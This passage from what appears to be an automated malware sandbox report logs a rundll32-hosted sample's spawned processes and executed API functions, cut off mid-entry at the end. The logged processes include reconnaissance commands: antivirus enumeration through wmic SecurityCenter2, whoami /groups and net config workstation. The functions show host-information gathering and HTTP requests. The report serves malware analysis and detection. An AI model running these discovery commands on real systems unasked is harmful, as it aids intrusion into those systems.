Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 config workstation
Imagebase:	0x7ff69b7c0000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	12:45:19
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName \| findstr /V /B /C:displayName \|\| echo No Antivirus installed
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	12:45:19
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	12:45:19
Start date:	02/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName
Imagebase:	0x7ff6ea700000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	12:45:19
Start date:	02/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /V /B /C:displayName
Imagebase:	0x7ff7d57d0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	12:45:20
Start date:	02/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c whoami /groups
Imagebase:	0x7ff6b4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	12:45:20
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	12:45:20
Start date:	02/12/2024
Path:	C:\Windows\System32\whoami.exe
Wow64 process (32bit):	false
Commandline:	whoami /groups
Imagebase:	0x7ff693020000
File size:	73'728 bytes
MD5 hash:	A4A6924F3EAF97981323703D38FD99C4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	79.7%
Signature Coverage:	15.3%
Total number of Nodes:	701
Total number of Limit Nodes:	16

Executed Functions

Function 000001CEAFC94D00 Relevance: 10.8, APIs: 7, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32 ref: 000001CEAFC94D92
GetComputerNameExW.KERNEL32 ref: 000001CEAFC94DA7
GetComputerNameExW.KERNEL32 ref: 000001CEAFC94DD6
GetTokenInformation.KERNELBASE ref: 000001CEAFC94E12
GetNativeSystemInfo.KERNEL32 ref: 000001CEAFC94EC4
GetAdaptersInfo.IPHLPAPI ref: 000001CEAFC94FB0
GetAdaptersInfo.IPHLPAPI ref: 000001CEAFC94FF5

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: InfoName$AdaptersComputer$InformationNativeSystemTokenUser
String ID:
API String ID: 1596153048-0
Opcode ID: d50f4ad2efba3391476b1df615d2eec79fdb99fb842461ae2565caf3412d5556
Instruction ID: b6cf34b8dbe0ae60a7c5d5f7c6fb1b1c84cb62a4ad0cc5af0a9ed7933d4c9509
Opcode Fuzzy Hash: d50f4ad2efba3391476b1df615d2eec79fdb99fb842461ae2565caf3412d5556
Instruction Fuzzy Hash: 1DA1C630218B089FFB54AB15D895BDEB3E6FB94340F40852DE44AC32D1DB75EA45CB86

Function 00007DF4A9FC0100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

@, xrefs: 00007DF4A9FC0237

Memory Dump Source

Source File: 00000003.00000003.2332935897.00007DF4A9FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4A9FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_7df4a9fc0000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: @
API String ID: 3332741929-2766056989
Opcode ID: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction ID: da1c0afb37d120cce94b48c8fe429dcf1c081946eedeca419ac758cd331161c9
Opcode Fuzzy Hash: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction Fuzzy Hash: BE71D031614A4C8FEF94EF6CC858BA977E1FB98315F104226E81ED72A0EB749955CB80

Function 00007DF4A9FC0000 Relevance: 6.1, APIs: 4, Instructions: 88processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007DF4A9FC0052
Process32First.KERNEL32 ref: 00007DF4A9FC008B
CloseHandle.KERNEL32 ref: 00007DF4A9FC00C1

Memory Dump Source

Source File: 00000003.00000003.2332935897.00007DF4A9FC0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4A9FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_7df4a9fc0000_rundll32.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction ID: d22a1f8c8b266c6c1b8788c2b24742c58840f44bf7b1f1512376acd60c68d718
Opcode Fuzzy Hash: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction Fuzzy Hash: 0A21E13065494C8FEFA1EB6CCD58BEA33E1FB98314F404226D41EDB290EE35DA458750

Function 000001CEAFC71600 Relevance: 1.7, APIs: 1, Instructions: 169
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 000001CEAFC71794

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 5153d8f8c97089589795ae645a7e47378385fa85047d0636f0422ff5950f5102
Instruction ID: fbc4066b2f4b451035279cec02928eab07ba6c19267b2fe7ffb4b7ee20c4904a
Opcode Fuzzy Hash: 5153d8f8c97089589795ae645a7e47378385fa85047d0636f0422ff5950f5102
Instruction Fuzzy Hash: 9551F274148A085FF748EF29D855BF9B7E1FB46350F100259E49BC32E2DA39E802CB85

Function 000001CEAFC7CCE0 Relevance: 1.6, APIs: 1, Instructions: 114
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrGetProcedureAddress.NTDLL ref: 000001CEAFC7CDB2

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: AddressProcedure
String ID:
API String ID: 3653107232-0
Opcode ID: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction ID: dd81d052d65e91575b807fdfc07f45366e11c6627d8a023665eaabf2a1adf37a
Opcode Fuzzy Hash: 64a4c363e66e8fcb324c2d013a85a570e217f1f41a485886b1e3891cf8e103dc
Instruction Fuzzy Hash: 3931A33165CB085FE768AF09DC46BFAB7E0FB95350F50061EE586C3291D620E84587CA

Function 00007FF8A8CF9A80 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FF8A8CF9A98

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 3b9193fbf2ab34594eed76214b4d4e304845222aad74228beea63719356c42be
Instruction ID: e558cecce3160fd316934fc8d21d8cf4a7efcc9ca70bf34b0d2296e82cd1a381
Opcode Fuzzy Hash: 3b9193fbf2ab34594eed76214b4d4e304845222aad74228beea63719356c42be
Instruction Fuzzy Hash: B0E0EC35A19A81D6EA10EB10E86202AB3B0FB89784F810035E68D42B15DFBCE525CB14

Function 000001CEAFC717B0 Relevance: .4, Instructions: 355
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a27eaabef9b11607e5348644df54255de6d118b201e6426a1c13144a620278
Instruction ID: 84baaf2e9af7adc6055d8f533623fc8378c05d63569cc28c9334eefac1e44ae3
Opcode Fuzzy Hash: c3a27eaabef9b11607e5348644df54255de6d118b201e6426a1c13144a620278
Instruction Fuzzy Hash: 22C10230158A499FFB54EF29C885BEAB7E1FF59380F500269E48AC32E2EB70D941C745

Function 000001CEAFCA4360 Relevance: .1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 246b04183441d9db0d4c236240df2ca26f18e78107733016fa740d2a375581b5
Instruction ID: 38fd14a913e8f20fcf089d403b48c49011da93193835ed048e1d463ee9c6400f
Opcode Fuzzy Hash: 246b04183441d9db0d4c236240df2ca26f18e78107733016fa740d2a375581b5
Instruction Fuzzy Hash: F8414CB151CB489FE7B49F09A8427EAB7E0FB89720F00492FD5C983255D731A8428BC7

Function 000001CEAFCA3F40 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38f81910f3a60e41c97a405c41efcb50c28e990bd7599c8c7593531c701bee66
Instruction ID: 8f69c6546609b2713b71275fb20531048540caae3453b326ab516dd85ae80b12
Opcode Fuzzy Hash: 38f81910f3a60e41c97a405c41efcb50c28e990bd7599c8c7593531c701bee66
Instruction Fuzzy Hash: 6011E43061C7449FF754EB199856BEAB7E0FB98360F00080FE488C3290D635E48087C7

Function 000001CEAFCA4BE0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4459b4d784854b5074084b1eb2e58009c50c2c7bf0fd286647bf740f6eacac18
Instruction ID: 999746ad037729750501b7c681d490006c2eb5d8cd0a0c6dad977dfd3f02c54e
Opcode Fuzzy Hash: 4459b4d784854b5074084b1eb2e58009c50c2c7bf0fd286647bf740f6eacac18
Instruction Fuzzy Hash: 6711B230698B499FEA64AF499846BA977D4FB48355F40041FE449C32A0D775E8808B87

Function 000001CEAFC87A50 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb11d53fe8240a521e5f77f5ce288efeffd0a38eebd87c38d9030f26bb6a810
Instruction ID: 95bf43611179cef61131dbd47b3983b20909c3b7bed51b8518ba04d9cd68fe16
Opcode Fuzzy Hash: 5bb11d53fe8240a521e5f77f5ce288efeffd0a38eebd87c38d9030f26bb6a810
Instruction Fuzzy Hash: 69110170198B486FF7609B198846BFEB2C0FBC8794F51051DE889C32C1EBB5D6489687

Function 000001CEAFCA4FF0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3b493b046dda1831e3ac93b31f1d57d2ffdedc147415695421c0937c946fff3
Instruction ID: 083b632e69f904c3879a0e6518538775405604e50d97a9787fb32e6f5df00242
Opcode Fuzzy Hash: a3b493b046dda1831e3ac93b31f1d57d2ffdedc147415695421c0937c946fff3
Instruction Fuzzy Hash: 9C11C170658B489FFA14AF099846BEAB7E0FB48351F40481EE489C32D1D675E880CA87

Function 000001CEAFCA4740 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c2dce99591ed636752d02e92fb4e83679b8b4534c19c070d62bd12e62a70ad
Instruction ID: 99a956d982f21c7b71af008f5df2278868b3d881b5e1854d94f61dec01cc921a
Opcode Fuzzy Hash: c6c2dce99591ed636752d02e92fb4e83679b8b4534c19c070d62bd12e62a70ad
Instruction Fuzzy Hash: 1E01D630668B459FF758BB199403BFA73E2FB89750F10451EE44AC32E1E635E9408A87

Function 000001CEAFE2D2B6 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.2086199598.000001CEAFDF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CEAFDF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1ceafdf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
Instruction ID: 2c4058ad4a9bee647a122248115fa153e3cc2a072a918afc96306b6c7163fdf8
Opcode Fuzzy Hash: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
Instruction Fuzzy Hash: DFF0F470618B408BE744DF1884C963977E1FBD8715F20452EE889C7361DB31D842CB43

Function 000001CEAFE2D326 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.2086199598.000001CEAFDF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CEAFDF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1ceafdf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction ID: bed783c3cd4b49d6b0145169a464da223b9bc738d895059aef7ce690730b9b4d
Opcode Fuzzy Hash: 744c819c75b2bbda755093bb73dffba834d27d1bf64d68f532f853bd1298e79c
Instruction Fuzzy Hash: 8FF0B470A24F044BDB04AF2C888AA7973D1F7A8715F54452EA448C3361DB35E4428B43

Function 000001CEAFC88149 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a87759f1dbb7da0b31a2215c550786eb7d616866bd4ea5bb0906d9c5e547a0c
Instruction ID: 6ef95555bfa7b2532c61f2d4397e975e4ab043e296a925e432865ce87495b2e5
Opcode Fuzzy Hash: 3a87759f1dbb7da0b31a2215c550786eb7d616866bd4ea5bb0906d9c5e547a0c
Instruction Fuzzy Hash: 7AD0A77248DB184DE7209B98F8437E8B3D0F780324F40482EC18CC2043D63F90564706

Function 000001CEAFC77830 Relevance: 10.8, APIs: 7, Instructions: 340
networkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 000001CEAFC7788A
InternetConnectW.WININET ref: 000001CEAFC778CB
HttpOpenRequestW.WININET ref: 000001CEAFC7791F
HttpSendRequestA.WININET ref: 000001CEAFC779DA
InternetQueryDataAvailable.WININET ref: 000001CEAFC77A53
RtlReAllocateHeap.NTDLL ref: 000001CEAFC77AA4

Part of subcall function 000001CEAFC9B4E0: RtlFreeHeap.NTDLL ref: 000001CEAFC9B51D

InternetCloseHandle.WININET ref: 000001CEAFC77B11

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: Internet$HeapHttpOpenRequest$AllocateAvailableCloseConnectDataFreeHandleQuerySend
String ID:
API String ID: 3737532752-0
Opcode ID: d9666d6ee9cc84210a5d48bfb43a1b93f204f5f1cab97c350c418fdf5ba67fc7
Instruction ID: 71fd8c2df091d8ef0b767aaa01534618b0b3951d557167aa36d88480abfed1a2
Opcode Fuzzy Hash: d9666d6ee9cc84210a5d48bfb43a1b93f204f5f1cab97c350c418fdf5ba67fc7
Instruction Fuzzy Hash: 84B1E230618A099FFB54EF19D859BEEB7E5FF98380F044569A84AC32D1DF74D8018786

Function 00007FF8A8D02D25 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Init_thread_footer.LIBCMT ref: 00007FF8A8D02D33

Part of subcall function 00007FF8A8D966A0: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D966B0
Part of subcall function 00007FF8A8D966A0: LeaveCriticalSection.KERNEL32 ref: 00007FF8A8D966F0

QueryPerformanceCounter.KERNEL32 ref: 00007FF8A8D02D7C

Part of subcall function 00007FF8A8D96700: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D96710

QueryPerformanceFrequency.KERNEL32 ref: 00007FF8A8D02D5F

Strings

)9, xrefs: 00007FF8A8D02D72

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterPerformanceQuery$CounterFrequencyInit_thread_footerLeave
String ID: )9
API String ID: 2428000217-1805338887
Opcode ID: 2ba064750abb0480fc47005e460bd415229348ce2235b756271b4d4ff3ee25c1
Instruction ID: 3d2573f3cf94dcffb505023f5a624463579426db3ea2f961382dc276a1de9ae7
Opcode Fuzzy Hash: 2ba064750abb0480fc47005e460bd415229348ce2235b756271b4d4ff3ee25c1
Instruction Fuzzy Hash: 7801923192AA42F2EA00DB24F8410A47370EB523D4F800236D26E425A1FF3CA9A98778

Function 00007FF8A8D02E0C Relevance: 4.5, APIs: 3, Instructions: 40
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8A8D96700: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D96710

GetCurrentProcess.KERNEL32 ref: 00007FF8A8D02E67
GetProcessTimes.KERNEL32 ref: 00007FF8A8D02E85
_Init_thread_footer.LIBCMT ref: 00007FF8A8D02EAB

Part of subcall function 00007FF8A8D966A0: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D966B0
Part of subcall function 00007FF8A8D966A0: LeaveCriticalSection.KERNEL32 ref: 00007FF8A8D966F0

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterProcess$CurrentInit_thread_footerLeaveTimes
String ID:
API String ID: 816428697-0
Opcode ID: f5dcc11f3405eaa559cfcd6a0ccef3154b8c7c602b6e6a17d5af2eea432bee2d
Instruction ID: e63fa713357b009c52feebf46956ab30194ea0b303b197b94da8cd94abe00052
Opcode Fuzzy Hash: f5dcc11f3405eaa559cfcd6a0ccef3154b8c7c602b6e6a17d5af2eea432bee2d
Instruction Fuzzy Hash: 5E110D71A06B42EAEB10CF64E8410A93364FB447E8F400635EA7E436A4EF3CE565C368

Function 00007FF8A8D58344 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D58487

Strings

enableSRS1364, xrefs: 00007FF8A8D58395

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_
String ID: enableSRS1364
API String ID: 1323251999-1359322883
Opcode ID: 01bd3773f0eb2a558a1897b6c9c6b57b574b912d968410f7a26ad8025ae356bc
Instruction ID: e1be9d89d3ebb6545b66669d74ac7e057a4ad97949ff392f79eff8f41aa576e6
Opcode Fuzzy Hash: 01bd3773f0eb2a558a1897b6c9c6b57b574b912d968410f7a26ad8025ae356bc
Instruction Fuzzy Hash: 6E318E32B17A45A1EE18CB29E0902392360EB58FE4F545736DA7E077D4DF3CE46A8314

Function 000001CEAFC78ED0 Relevance: 1.9, APIs: 1, Instructions: 410
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNEL32 ref: 000001CEAFC78F00

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction ID: 2da458664882f895d24a4c5e03c32b85401c7afa55af30c21be25fca94b04bf3
Opcode Fuzzy Hash: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction Fuzzy Hash: ECE11E71418A098FE755EF14E895BE6B7F4F768380F20067BE84AC31A1DB39D245CB86

Function 000001CEAFC9B4E0 Relevance: 1.5, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 000001CEAFC9B51D

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction ID: 099121f40e541e3b6702279eadf012a57d74fd55f10622f2256a10ed4ba17106
